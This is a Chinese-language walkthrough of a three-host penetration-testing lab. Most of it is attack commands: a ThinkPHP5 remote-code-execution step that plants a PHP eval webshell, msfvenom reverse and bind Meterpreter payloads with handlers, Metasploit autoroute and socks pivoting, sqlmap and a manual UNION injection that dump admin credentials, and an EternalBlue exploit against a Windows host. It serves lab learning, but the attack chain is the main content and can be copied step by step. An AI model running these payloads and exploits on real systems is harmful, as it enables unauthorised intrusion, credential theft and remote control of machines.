环境搭建
网卡设置
kali为攻击机:192.168.3.57(桥接模式)
Target1:192.168.3.120(桥接模式),192.168.22.128(仅主机模式Vmnet2)
Target2:192.168.22.129(仅主机模式Vmnet2),192.168.33.128(仅主机模式Vmnet3)
Vmware的3个网卡分别配置为桥接,仅主机和仅主机,具体子网地址如图所示
宝塔后台设置
target1
在此处填入target1的ip
target2
加入target2的22网段ip
渗透测试
Target1
信息收集
nmap -sV -p 1-65535 -O 192.168.3.120
Target1中开启了ftp,ssh,http服务,并且是一个linux系统
分析利用
既然开放80端口,那就访问80端口,是一个tinkphp5的框架
thinkphp5有远程代码执行漏洞,用工具扫一下
检测工具地址
验证出来又漏洞,并且可以执行代码
写入后门文件
echo ‘<?php eval($_REQUEST[x]);?>’ > shell.php
访问shell.php,可以看到上传成功
使用蚁剑进行连接,这里是两个flag
msf上线
进行监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST kali的ip
set LPORT 1234
run
生成后门文件
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=kali的ip LPORT=1234 -f elf >a.elf
上传后门文件
进入终端执行后门文件
赋予执行的权限
chmod +x a.elf
./a.elf
msf中反弹会话
ifconfig进行ip的查看,发现target1有两张网卡,接下来对192.168.22.0/24进行探测
添加路由
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24
获得三个网段
我们还没添加,所以还没有路由
添加路由后在次查看,已经添加上去
这时我们target的会话中已经可以和22网段进行通信了,但是其他会话还是不可以通信,接下来我们进一步配置
我们接下来使用socks4代理进行内网通信
background 保存拿到的shell会话,隐藏到后台
use auxiliary/server/socks_proxy
exploit
可以不用修改默认配置,使用本地的1080端口
修改proxychains-ng的配置文件
vi /etc/proxychains.conf
进行如下修改
需要加上刚刚配置好的代理文件才能进行扫描
target2
信息收集
proxychains4 nmap -Pn -sT 192.168.22.129
分析利用
发现80端口,我们设置好代理进行访问
进行简单的探测robots.txt后发现后台路径
访问后台,发现有验证码,就先不爆破
查看主页源代码发现有注入点
sql注入
既然如此我们就开整用sqlmap跑,但是我这里sqlmap跑不出来不知道为什么,有大佬知道能否私信我一下
proxychains4 sqlmap -u “http://192.168.22.129/index.php?r=vul&keyword=1” --dbs
proxychains4 sqlmap -u “http://192.168.22.128/index.php?r=vul&keyword=1” -p keyword -D bagecms –tables
proxychains4 sqlmap -u “http://192.168.22.128/index.php?r=vul&keyword=1” -p keyword -D bagecms -T bage_admin –columns
proxychains4 sqlmap -u “http://192.168.22.128/index.php?r=vul&keyword=1” -p keyword -D bagecms -T bage_admin -C username,password –dump
那就手注吧
http://192.168.22.129/index.php?r=vul&keyword=1' union select group_concat(username),group_concat(password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin-- -
md5解密,得到密码
后台探测
admin/123qwe进入到后台,得到flag
在模板中发现存在index.php,进行写入木马
蚁剑进行连接,我们所处的是3网段,要是想连接22网段的ip必须做一个代理,可以使用蚁剑自带的代理进行连接,也可以使用SocksCap64进行连接
连接成功
msf上线
生成正向后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > 3.elf
msf正向连接
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.129
set LPORT 3333
exploit
还是添加路由
获取网络接口:run get_local_subnets
添加路由地址:run autoroute -s 192.168.33.0/24
查看路由地址:run autoroute -p
target3
扫描33网段
proxychains4 nmap -Pn -sT 192.168.33.33
发现这是开放着445、3389端口的Windows系统 ,尝试使用永恒之蓝试试
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
run
利用成功,进入shell查找flag(shell里要是乱码可以使用chcp 65001进行解决)
总结
1.在连接target2的时候代理总是断开,反弹不了shell,后来重新启动msf,重新配置,最终获得了shell
2.proxychains4使用不了sqlmap,不清楚什么原因
3.整体思路就是,我们通过target1的thinkphp5的远程代码执行漏洞进行getshell,之后进行msf上线,添加路由,并且对内网进行信息收集,发现target2后进行信息收集,发现sql注入和后台地址,通过sql注入进行爆破后台账号密码,进行登录,在后台找到可以写入一句话的文件,进行连接,再次上线msf,添加路由,进行收集,找到target3